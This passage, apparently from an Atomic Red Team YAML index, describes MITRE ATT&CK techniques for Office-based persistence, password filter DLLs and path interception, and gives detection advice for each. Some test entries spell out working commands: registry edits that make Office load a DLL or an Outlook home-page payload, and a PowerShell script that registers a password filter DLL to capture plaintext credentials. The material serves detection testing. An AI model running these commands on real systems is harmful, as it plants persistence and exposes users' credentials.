      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Office Template Macros
      description: "Adversaries may abuse Microsoft Office templates to obtain persistence
        on a compromised system. Microsoft Office contains templates that are part
        of common Office applications and are used to customize styles. The base templates
        within the application are used each time an application starts. (Citation:
        Microsoft Change Normal Template)\n\nOffice Visual Basic for Applications
        (VBA) macros (Citation: MSDN VBA in Office) can be inserted into the base
        template and used to execute code when the respective Office application starts
        in order to obtain persistence. Examples for both Word and Excel have been
        discovered and published. By default, Word has a Normal.dotm template created
        that can be modified to include a malicious macro. Excel does not have a template
        file created by default, but one can be added that will automatically be loaded.(Citation:
        enigma0x3 normal.dotm)(Citation: Hexacorn Office Template Macros) Shared templates
        may also be stored and pulled from remote locations.(Citation: GlobalDotName
        Jun 2019) \n\nWord Normal.dotm location:<br>\n<code>C:\\Users\\&lt;username&gt;\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm</code>\n\nExcel
        Personal.xlsb location:<br>\n<code>C:\\Users\\&lt;username&gt;\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\PERSONAL.XLSB</code>\n\nAdversaries
        may also change the location of the base template to point to their own by
        hijacking the application's search order, e.g. Word 2016 will first look for
        Normal.dotm under <code>C:\\Program Files (x86)\\Microsoft Office\\root\\Office16\\</code>,
        or by modifying the GlobalDotName registry key. By modifying the GlobalDotName
        registry key an adversary can specify an arbitrary location, file name, and
        file extension to use for the template that will be loaded on application
        startup. To abuse GlobalDotName, adversaries may first need to register the
        template as a trusted document or place it in a trusted location.(Citation:
        GlobalDotName Jun 2019) \n\nAn adversary may need to enable macros to execute
        unrestricted depending on the system or enterprise security policy on use
        of macros."
      id: attack-pattern--79a47ad0-fc3b-4821-9f01-a026b1ddba21
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      modified: '2020-06-25T17:48:08.916Z'
      created: '2019-11-07T20:29:17.788Z'
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_permissions_required:
      - User
      - Administrator
      x_mitre_detection: 'Many Office-related persistence mechanisms require changes
        to the Registry and for binaries, files, or scripts to be written to disk
        or existing files modified to include malicious scripts. Collect events related
        to Registry key creation and modification for keys that could be used for
        Office-based persistence.(Citation: CrowdStrike Outlook Forms)(Citation: Outlook
        Today Home Page) Modification to base templates, like Normal.dotm, should
        also be investigated since the base templates should likely not contain VBA
        macros. Changes to the Office macro security settings should also be investigated.(Citation:
        GlobalDotName Jun 2019)'
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      - 'Windows Registry: Windows Registry Key Creation'
      - 'Windows Registry: Windows Registry Key Modification'
      - 'File: File Creation'
      - 'File: File Modification'
      x_mitre_platforms:
      - Windows
      - Office 365
    atomic_tests: []
  T1137.002:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1137.002
        url: https://attack.mitre.org/techniques/T1137/002
      - url: http://www.hexacorn.com/blog/2014/04/16/beyond-good-ol-run-key-part-10/
        description: Hexacorn. (2014, April 16). Beyond good ol’ Run key, Part 10.
          Retrieved July 3, 2017.
        source_name: Hexacorn Office Test
      - url: https://researchcenter.paloaltonetworks.com/2016/07/unit42-technical-walkthrough-office-test-persistence-method-used-in-recent-sofacy-attacks/
        description: 'Falcone, R. (2016, July 20). Technical Walkthrough: Office Test
          Persistence Method Used In Recent Sofacy Attacks. Retrieved July 3, 2017.'
        source_name: Palo Alto Office Test Sofacy
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Office Test
      description: |-
        Adversaries may abuse the Microsoft Office "Office Test" Registry key to obtain persistence on a compromised system. An Office Test Registry location exists that allows a user to specify an arbitrary DLL that will be executed every time an Office application is started. This Registry key is thought to be used by Microsoft to load DLLs for testing and debugging purposes while developing Office applications. This Registry key is not created by default during an Office installation.(Citation: Hexacorn Office Test)(Citation: Palo Alto Office Test Sofacy)

        There exist user and global Registry keys for the Office Test feature:

        * <code>HKEY_CURRENT_USER\Software\Microsoft\Office test\Special\Perf</code>
        * <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Office test\Special\Perf</code>

        Adversaries may add this Registry key and specify a malicious DLL that will be executed whenever an Office application, such as Word or Excel, is started.
      id: attack-pattern--ed7efd4d-ce28-4a19-a8e6-c58011eb2c7a
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      modified: '2020-03-20T15:27:51.559Z'
      created: '2019-11-07T19:44:04.475Z'
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_system_requirements:
      - Office 2007, 2010, 2013, and 2016
      x_mitre_permissions_required:
      - Administrator
      - User
      x_mitre_detection: |-
        Monitor for the creation of the Office Test Registry key. Many Office-related persistence mechanisms require changes to the Registry and for binaries, files, or scripts to be written to disk or existing files modified to include malicious scripts. Collect events related to Registry key creation and modification for keys that could be used for Office-based persistence. Since v13.52, Autoruns can detect tasks set up using the Office Test Registry key.(Citation: Palo Alto Office Test Sofacy)

        Consider monitoring Office processes for anomalous DLL loads.
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      - 'Windows Registry: Windows Registry Key Creation'
      - 'Windows Registry: Windows Registry Key Modification'
      - 'File: File Creation'
      - 'File: File Modification'
      - 'Module: Module Load'
      x_mitre_platforms:
      - Windows
      - Office 365
      identifier: T1137.002
    atomic_tests:
    - name: Office Application Startup Test Persistence
      auto_generated_guid: c3e35b58-fe1c-480b-b540-7600fb612563
      description: |
        Office Test Registry location exists that allows a user to specify an arbitrary DLL that will be executed every time an Office
        application is started. Key is used for debugging purposes. Not created by default & exist in HKCU & HKLM hives.
      supported_platforms:
      - windows
      input_arguments:
        thing_to_execute:
          description: Thing to Run
          type: Path
          default: C:\Path\AtomicRedTeam.dll
      executor:
        command: 'reg add "HKEY_CURRENT_USER\Software\Microsoft\Office test\Special\Perf"
          /t REG_SZ /d "#{thing_to_execute}"

'
        cleanup_command: 'reg delete "HKEY_CURRENT_USER\Software\Microsoft\Office
          test\Special\Perf" /f >nul 2>&1

'
        name: command_prompt
  T1137.003:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1137.003
        url: https://attack.mitre.org/techniques/T1137/003
      - source_name: SensePost Outlook Forms
        url: https://sensepost.com/blog/2017/outlook-forms-and-shells/
        description: Stalmans, E. (2017, April 28). Outlook Forms and Shells. Retrieved
          February 4, 2019.
      - source_name: Microsoft Detect Outlook Forms
        url: https://docs.microsoft.com/en-us/office365/securitycompliance/detect-and-remediate-outlook-rules-forms-attack
        description: Fox, C., Vangel, D. (2018, April 22). Detect and Remediate Outlook
          Rules and Custom Forms Injections Attacks in Office 365. Retrieved February
          4, 2019.
      - source_name: SensePost NotRuler
        url: https://github.com/sensepost/notruler
        description: SensePost. (2017, September 21). NotRuler - The opposite of Ruler,
          provides blue teams with the ability to detect Ruler usage against Exchange.
          Retrieved February 4, 2019.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Outlook Forms
      description: |-
        Adversaries may abuse Microsoft Outlook forms to obtain persistence on a compromised system. Outlook forms are used as templates for presentation and functionality in Outlook messages. Custom Outlook forms can be created that will execute code when a specifically crafted email is sent by an adversary utilizing the same custom Outlook form.(Citation: SensePost Outlook Forms)

        Once malicious forms have been added to the user’s mailbox, they will be loaded when Outlook is started. Malicious forms will execute when an adversary sends a specifically crafted email to the user.(Citation: SensePost Outlook Forms)
      id: attack-pattern--a9e2cea0-c805-4bf8-9e31-f5f0513a3634
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      modified: '2020-03-26T17:35:15.823Z'
      created: '2019-11-07T20:06:02.624Z'
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_permissions_required:
      - Administrator
      - User
      x_mitre_detection: |-
        Microsoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms) SensePost, whose tool [Ruler](https://attack.mitre.org/software/S0358) can be used to carry out malicious rules, forms, and Home Page attacks, has released a tool to detect Ruler usage.(Citation: SensePost NotRuler)

        Collect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior.
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      - 'Application Log: Application Log Content'
      x_mitre_platforms:
      - Windows
      - Office 365
    atomic_tests: []
  T1137.004:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1137.004
        url: https://attack.mitre.org/techniques/T1137/004
      - source_name: SensePost Outlook Home Page
        url: https://sensepost.com/blog/2017/outlook-home-page-another-ruler-vector/
        description: Stalmans, E. (2017, October 11). Outlook Home Page – Another
          Ruler Vector. Retrieved February 4, 2019.
      - source_name: Microsoft Detect Outlook Forms
        url: https://docs.microsoft.com/en-us/office365/securitycompliance/detect-and-remediate-outlook-rules-forms-attack
        description: Fox, C., Vangel, D. (2018, April 22). Detect and Remediate Outlook
          Rules and Custom Forms Injections Attacks in Office 365. Retrieved February
          4, 2019.
      - source_name: SensePost NotRuler
        url: https://github.com/sensepost/notruler
        description: SensePost. (2017, September 21). NotRuler - The opposite of Ruler,
          provides blue teams with the ability to detect Ruler usage against Exchange.
          Retrieved February 4, 2019.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Outlook Home Page
      description: |
        Adversaries may abuse Microsoft Outlook's Home Page feature to obtain persistence on a compromised system. Outlook Home Page is a legacy feature used to customize the presentation of Outlook folders. This feature allows for an internal or external URL to be loaded and presented whenever a folder is opened. A malicious HTML page can be crafted that will execute code when loaded by Outlook Home Page.(Citation: SensePost Outlook Home Page)

        Once malicious home pages have been added to the user’s mailbox, they will be loaded when Outlook is started. Malicious Home Pages will execute when the right Outlook folder is loaded/reloaded.(Citation: SensePost Outlook Home Page)
      id: attack-pattern--bf147104-abf9-4221-95d1-e81585859441
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      modified: '2020-03-26T17:35:51.656Z'
      created: '2019-11-07T20:09:56.536Z'
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_permissions_required:
      - Administrator
      - User
      x_mitre_detection: |-
        Microsoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms) SensePost, whose tool [Ruler](https://attack.mitre.org/software/S0358) can be used to carry out malicious rules, forms, and Home Page attacks, has released a tool to detect Ruler usage.(Citation: SensePost NotRuler)

        Collect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior.
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      - 'Application Log: Application Log Content'
      x_mitre_platforms:
      - Windows
      - Office 365
      identifier: T1137.004
    atomic_tests:
    - name: Install Outlook Home Page Persistence
      auto_generated_guid: 7a91ad51-e6d2-4d43-9471-f26362f5738e
      description: |
        This test simulates persistence being added to a host via the Outlook Home Page functionality. This causes Outlook to retrieve URL containing a malicious payload every time the targeted folder is viewed.

        Triggering the payload requires manually opening Outlook and viewing the targetted folder (e.g. Inbox).
      supported_platforms:
      - windows
      input_arguments:
        url:
          description: URL to Outlook Home Page containing the payload to execute
            (can be local file:// or remote https://)
          type: String
          default: file://PathToAtomicsFolder\T1137.004\src\T1137.004.html
        outlook_version:
          description: Version of Outlook that is installed
          type: String
          default: 16.0
        outlook_folder:
          description: Name of the Outlook folder to modify the homepage setting for
          type: String
          default: Inbox
      executor:
        name: command_prompt
        elevation_required: false
        command: 'reg.exe add HKCU\Software\Microsoft\Office\#{outlook_version}\Outlook\WebView\#{outlook_folder}
          /v URL /t REG_SZ /d #{url} /f

'
        cleanup_command: 'reg.exe delete HKCU\Software\Microsoft\Office\#{outlook_version}\Outlook\WebView\#{outlook_folder}
          /v URL /f >nul 2>&1

'
  T1137.005:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1137.005
        url: https://attack.mitre.org/techniques/T1137/005
      - source_name: SilentBreak Outlook Rules
        url: https://silentbreaksecurity.com/malicious-outlook-rules/
        description: Landers, N. (2015, December 4). Malicious Outlook Rules. Retrieved
          February 4, 2019.
      - source_name: Microsoft Detect Outlook Forms
        url: https://docs.microsoft.com/en-us/office365/securitycompliance/detect-and-remediate-outlook-rules-forms-attack
        description: Fox, C., Vangel, D. (2018, April 22). Detect and Remediate Outlook
          Rules and Custom Forms Injections Attacks in Office 365. Retrieved February
          4, 2019.
      - source_name: SensePost NotRuler
        url: https://github.com/sensepost/notruler
        description: SensePost. (2017, September 21). NotRuler - The opposite of Ruler,
          provides blue teams with the ability to detect Ruler usage against Exchange.
          Retrieved February 4, 2019.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Outlook Rules
      description: |-
        Adversaries may abuse Microsoft Outlook rules to obtain persistence on a compromised system. Outlook rules allow a user to define automated behavior to manage email messages. A benign rule might, for example, automatically move an email to a particular folder in Outlook if it contains specific words from a specific sender. Malicious Outlook rules can be created that can trigger code execution when an adversary sends a specifically crafted email to that user.(Citation: SilentBreak Outlook Rules)

        Once malicious rules have been added to the user’s mailbox, they will be loaded when Outlook is started. Malicious rules will execute when an adversary sends a specifically crafted email to the user.(Citation: SilentBreak Outlook Rules)
      id: attack-pattern--3d1b9d7e-3921-4d25-845a-7d9f15c0da44
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      modified: '2020-03-26T17:36:15.923Z'
      created: '2019-11-07T20:00:25.560Z'
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_permissions_required:
      - Administrator
      - User
      x_mitre_detection: |-
        Microsoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms) SensePost, whose tool [Ruler](https://attack.mitre.org/software/S0358) can be used to carry out malicious rules, forms, and Home Page attacks, has released a tool to detect Ruler usage.(Citation: SensePost NotRuler)

        Collect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior.
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      - 'Application Log: Application Log Content'
      x_mitre_platforms:
      - Windows
      - Office 365
    atomic_tests: []
  T1556.002:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1556.002
        url: https://attack.mitre.org/techniques/T1556/002
      - url: http://carnal0wnage.attackresearch.com/2013/09/stealing-passwords-every-time-they.html
        description: Fuller, R. (2013, September 11). Stealing passwords every time
          they change. Retrieved November 21, 2017.
        source_name: Carnal Ownage Password Filters Sept 2013
      - url: https://clymb3r.wordpress.com/2013/09/15/intercepting-password-changes-with-function-hooking/
        description: Bialek, J. (2013, September 15). Intercepting Password Changes
          With Function Hooking. Retrieved November 21, 2017.
        source_name: Clymb3r Function Hook Passwords Sept 2013
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Password Filter DLL
      description: "Adversaries may register malicious password filter dynamic link
        libraries (DLLs) into the authentication process to acquire user credentials
        as they are validated. \n\nWindows password filters are password policy enforcement
        mechanisms for both domain and local accounts. Filters are implemented as
        DLLs containing a method to validate potential passwords against password
        policies. Filter DLLs can be positioned on local computers for local accounts
        and/or domain controllers for domain accounts. Before registering new passwords
        in the Security Accounts Manager (SAM), the Local Security Authority (LSA)
        requests validation from each registered filter. Any potential changes cannot
        take effect until every registered filter acknowledges validation. \n\nAdversaries
        can register malicious password filters to harvest credentials from local
        computers and/or entire domains. To perform proper validation, filters must
        receive plain-text credentials from the LSA. A malicious password filter would
        receive these plain-text credentials every time a password request is made.(Citation:
        Carnal Ownage Password Filters Sept 2013)"
      id: attack-pattern--3731fbcd-0e43-47ae-ae6c-d15e510f0d42
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: persistence
      modified: '2021-04-20T20:11:55.147Z'
      created: '2020-02-11T19:05:45.829Z'
      x_mitre_data_sources:
      - 'File: File Creation'
      - 'Module: Module Load'
      - 'Windows Registry: Windows Registry Key Modification'
      x_mitre_contributors:
      - Vincent Le Toux
      x_mitre_permissions_required:
      - Administrator
      - SYSTEM
      x_mitre_detection: |-
        Monitor for new, unfamiliar DLL files written to a domain controller and/or local computer. Monitor for changes to Registry entries for password filters (ex: <code>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Notification Packages</code>) and correlate then investigate the DLL files these files reference.

        Password filters will also show up as an autorun and loaded DLL in lsass.exe.(Citation: Clymb3r Function Hook Passwords Sept 2013)
      x_mitre_version: '2.0'
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      identifier: T1556.002
    atomic_tests:
    - name: Install and Register Password Filter DLL
      auto_generated_guid: a7961770-beb5-4134-9674-83d7e1fa865c
      description: 'Uses PowerShell to install and register a password filter DLL.
        Requires a reboot and administrative privileges.

'
      supported_platforms:
      - windows
      input_arguments:
        input_dll:
          description: Path to DLL to be installed and registered
          type: Path
          default: PathToAtomicsFolder\T1556.002\src\AtomicPasswordFilter.dll
      dependency_executor_name: powershell
      dependencies:
      - description: 'AtomicPasswordFilter.dll must exist on disk at specified location
          (#{input_dll})

'
        prereq_command: 'if (Test-Path #{input_dll}) {exit 0} else {exit 1}

'
        get_prereq_command: 'Write-Host "You must provide your own password filter
          dll"

'
      executor:
        command: |
          $passwordFilterName = (Copy-Item "#{input_dll}" -Destination "C:\Windows\System32" -PassThru).basename
          $lsaKey = Get-Item "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\"
          $notificationPackagesValues = $lsaKey.GetValue("Notification Packages")
          $notificationPackagesValues += $passwordFilterName
          Set-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\" "Notification Packages" $notificationPackagesValues
          Restart-Computer -Confirm
        name: powershell
        elevation_required: true
  T1034:
    technique:
      id: attack-pattern--c4ad009b-6e13-4419-8d21-918a1652de02
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Path Interception
      description: |-
        **This technique has been deprecated. Please use [Path Interception by PATH Environment Variable](https://attack.mitre.org/techniques/T1574/007), [Path Interception by Search Order Hijacking](https://attack.mitre.org/techniques/T1574/008), and/or [Path Interception by Unquoted Path](https://attack.mitre.org/techniques/T1574/009).**

        Path interception occurs when an executable is placed in a specific path so that it is executed by an application instead of the intended target. One example of this was the use of a copy of [cmd](https://attack.mitre.org/software/S0106) in the current working directory of a vulnerable application that loads a CMD or BAT file with the CreateProcess function. (Citation: TechNet MS14-019)

        There are multiple distinct weaknesses or misconfigurations that adversaries may take advantage of when performing path interception: unquoted paths, path environment variable misconfigurations, and search order hijacking. The first vulnerability deals with full program paths, while the second and third occur when program paths are not specified. These techniques can be used for persistence if executables are called on a regular basis, as well as privilege escalation if intercepted executables are started by a higher privileged process.

        ### Unquoted Paths
        Service paths (stored in Windows Registry keys) (Citation: Microsoft Subkey) and shortcut paths are vulnerable to path interception if the path has one or more spaces and is not surrounded by quotation marks (e.g., <code>C:\unsafe path with space\program.exe</code> vs. <code>"C:\safe path with space\program.exe"</code>). (Citation: Baggett 2012) An adversary can place an executable in a higher level directory of the path, and Windows will resolve that executable instead of the intended executable. For example, if the path in a shortcut is <code>C:\program files\myapp.exe</code>, an adversary may create a program at <code>C:\program.exe</code> that will be run instead of the intended program. (Citation: SecurityBoulevard Unquoted Services APR 2018) (Citation: SploitSpren Windows Priv Jan 2018)

        ### PATH Environment Variable Misconfiguration
        The PATH environment variable contains a list of directories. Certain methods of executing a program (namely using cmd.exe or the command-line) rely solely on the PATH environment variable to determine the locations that are searched for a program when the path for the program is not given. If any directories are listed in the PATH environment variable before the Windows directory, <code>%SystemRoot%\system32</code> (e.g., <code>C:\Windows\system32</code>), a program may be placed in the preceding directory that is named the same as a Windows program (such as cmd, PowerShell, or Python), which will be executed when that command is executed from a script or command-line.

        For example, if <code>C:\example path</code> precedes <code>C:\Windows\system32</code> is in the PATH environment variable, a program that is named net.exe and placed in <code>C:\example path</code> will be called instead of the Windows system "net" when "net" is executed from the command-line.

        ### Search Order Hijacking
        Search order hijacking occurs when an adversary abuses the order in which Windows searches for programs that are not given a path. The search order differs depending on the method that is used to execute the program. (Citation: Microsoft CreateProcess) (Citation: Hill NT Shell) (Citation: Microsoft WinExec) However, it is common for Windows to search in the directory of the initiating program before searching through the Windows system directory. An adversary who finds a program vulnerable to search order hijacking (i.e., a program that does not specify the path to an executable) may take advantage of this vulnerability by creating a program named after the improperly specified program and placing it within the initiating program's directory.

        For example, "example.exe" runs "cmd.exe" with the command-line argument <code>net user</code>. An adversary may place a program called "net.exe" within the same directory as example.exe, "net.exe" will be run instead of the Windows system utility net. In addition, if an adversary places a program called "net.com" in the same directory as "net.exe", then <code>cmd.exe /C net user</code> will execute "net.com" instead of "net.exe" due to the order of executable extensions defined under PATHEXT. (Citation: MSDN Environment Property)

        Search order hijacking is also a common practice for hijacking DLL loads and is covered in [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038).
      external_references:
      - source_name: mitre-attack
        external_id: T1034
        url: https://attack.mitre.org/techniques/T1034
      - external_id: CAPEC-159
        source_name: capec
        url: https://capec.mitre.org/data/definitions/159.html
      - url: https://blogs.technet.microsoft.com/srd/2014/04/08/ms14-019-fixing-a-binary-hijacking-via-cmd-or-bat-file/
        description: Nagaraju, S. (2014, April 8). MS14-019 – Fixing a binary hijacking
          via .cmd or .bat file. Retrieved July 25, 2016.
        source_name: TechNet MS14-019
      - url: http://support.microsoft.com/KB/103000
        description: Microsoft. (n.d.). CurrentControlSet\Services Subkey Entries.
          Retrieved November 30, 2014.
        source_name: Microsoft Subkey
      - url: https://isc.sans.edu/diary/Help+eliminate+unquoted+path+vulnerabilities/14464
        description: Baggett, M. (2012, November 8). Help eliminate unquoted path
          vulnerabilities. Retrieved December 4, 2014.
        source_name: Baggett 2012
      - url: https://securityboulevard.com/2018/04/windows-privilege-escalation-unquoted-services/
        description: HackHappy. (2018, April 23). Windows Privilege Escalation – Unquoted
          Services. Retrieved August 10, 2018.
        source_name: SecurityBoulevard Unquoted Services APR 2018
      - url: https://www.sploitspren.com/2018-01-26-Windows-Privilege-Escalation-Guide/
        description: McFarland, R. (2018, January 26). Windows Privilege Escalation
          Guide. Retrieved August 10, 2018.
        source_name: SploitSpren Windows Priv Jan 2018
      - url: http://msdn.microsoft.com/en-us/library/ms682425
        description: Microsoft. (n.d.). CreateProcess function. Retrieved December
          5, 2014.
        source_name: Microsoft CreateProcess
      - url: http://technet.microsoft.com/en-us/library/cc723564.aspx#XSLTsection127121120120
        description: Hill, T. (n.d.). Windows NT Command Shell. Retrieved December
          5, 2014.
        source_name: Hill NT Shell
      - url: http://msdn.microsoft.com/en-us/library/ms687393
        description: Microsoft. (n.d.). WinExec function. Retrieved December 5, 2014.
        source_name: Microsoft WinExec
      - url: https://msdn.microsoft.com/en-us/library/fd7hxfdd.aspx
        description: Microsoft. (n.d.). Environment Property. Retrieved July 27, 2016.
        source_name: MSDN Environment Property
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      revoked: false
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      modified: '2020-07-06T18:49:35.645Z'
      created: '2017-05-31T21:30:36.140Z'
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Windows
      x_mitre_permissions_required:
      - User
      - Administrator
      - SYSTEM
      x_mitre_effective_permissions:
      - User
      - Administrator
      - SYSTEM
      x_mitre_detection: "Monitor file creation for files named after partial directories
        and in locations that may be searched for common processes through the environment
        variable, or otherwise should not be user writable. Monitor the executing
        process for process executable paths that are named for partial directories.
        Monitor file creation for programs that are named after Windows system programs
        or programs commonly executed without a path (such as \"findstr,\" \"net,\"
        and \"python\"). If this activity occurs outside of known administration activity,
        upgrades, installations, or patches, then it may be suspicious. \n\nData and
        events should not be viewed in isolation, but as part of a chain of behavior
        that could lead to other activities, such as network connections made for
        Command and Control, learning details about the environment through Discovery,
        and Lateral Movement."
      x_mitre_contributors:
      - Stefan Kanthak
      x_mitre_version: '1.0'
      x_mitre_deprecated: true
    atomic_tests: []
  T1574.007:
    technique:
      created: '2020-03-13T14:10:43.424Z'
      modified: '2020-09-16T16:56:34.583Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      type: attack-pattern
      external_references:
      - source_name: mitre-attack
        external_id: T1574.007
        url: https://attack.mitre.org/techniques/T1574/007
      - external_id: CAPEC-13
        source_name: capec
        url: https://capec.mitre.org/data/definitions/13.html
      - external_id: CAPEC-38
        source_name: capec
        url: https://capec.mitre.org/data/definitions/38.html
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Path Interception by PATH Environment Variable
      description: |-
        Adversaries may execute their own malicious payloads by hijacking environment variables used to load libraries. Adversaries may place a program in an earlier entry in the list of directories stored in the PATH environment variable, which Windows will then execute when it searches sequentially through that PATH listing in search of the binary that was called from a script or the command line.

        The PATH environment variable contains a list of directories. Certain methods of executing a program (namely using cmd.exe or the command-line) rely solely on the PATH environment variable to determine the locations that are searched for a program when the path for the program is not given. If any directories are listed in the PATH environment variable before the Windows directory, <code>%SystemRoot%\system32</code> (e.g., <code>C:\Windows\system32</code>), a program may be placed in the preceding directory that is named the same as a Windows program (such as cmd, PowerShell, or Python), which will be executed when that command is executed from a script or command-line.

        For example, if <code>C:\example path</code> precedes </code>C:\Windows\system32</code> is in the PATH environment variable, a program that is named net.exe and placed in <code>C:\example path</code> will be called instead of the Windows system "net" when "net" is executed from the command-line.
      id: attack-pattern--0c2d00da-7742-49e7-9928-4514e5075d32
      x_mitre_defense_bypassed:
      - Application control
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_detection: |-
        Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as "findstr," "net," and "python"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious.

        Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.
      x_mitre_data_sources:
      - 'File: File Creation'
      - 'File: File Modification'
      - 'Process: Process Creation'
      x_mitre_contributors:
      - Stefan Kanthak
      x_mitre_platforms:
      - Windows
    atomic_tests: []
  T1574.008:
    technique:
      id: attack-pattern--58af3705-8740-4c68-9329-ec015a7013c2
      description: |-
        Adversaries may execute their own malicious payloads by hijacking the search order used to load other programs. Because some programs do not call other programs using the full path, adversaries may place their own file in the directory where the calling program is located, causing the operating system to launch their malicious software at the request of the calling program.

        Search order hijacking occurs when an adversary abuses the order in which Windows searches for programs that are not given a path. Unlike [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), the search order differs depending on the method that is used to execute the program. (Citation: Microsoft CreateProcess) (Citation: Windows NT Command Shell) (Citation: Microsoft WinExec) However, it is common for Windows to search in the directory of the initiating program before searching through the Windows system directory. An adversary who finds a program vulnerable to search order hijacking (i.e., a program that does not specify the path to an executable) may take advantage of this vulnerability by creating a program named after the improperly specified program and placing it within the initiating program's directory.

        For example, "example.exe" runs "cmd.exe" with the command-line argument <code>net user</code>. An adversary may place a program called "net.exe" within the same directory as example.exe, "net.exe" will be run instead of the Windows system utility net. In addition, if an adversary places a program called "net.com" in the same directory as "net.exe", then <code>cmd.exe /C net user</code> will execute "net.com" instead of "net.exe" due to the order of executable extensions defined under PATHEXT. (Citation: Microsoft Environment Property)

        Search order hijacking is also a common practice for hijacking DLL loads and is covered in [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001).
      name: Path Interception by Search Order Hijacking
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1574.008
        url: https://attack.mitre.org/techniques/T1574/008
      - external_id: CAPEC-159
        source_name: capec
        url: https://capec.mitre.org/data/definitions/159.html
      - url: http://msdn.microsoft.com/en-us/library/ms682425
        description: Microsoft. (n.d.). CreateProcess function. Retrieved December
          5, 2014.
        source_name: Microsoft CreateProcess
      - source_name: Windows NT Command Shell
        url: https://docs.microsoft.com/en-us/previous-versions//cc723564(v=technet.10)?redirectedfrom=MSDN#XSLTsection127121120120
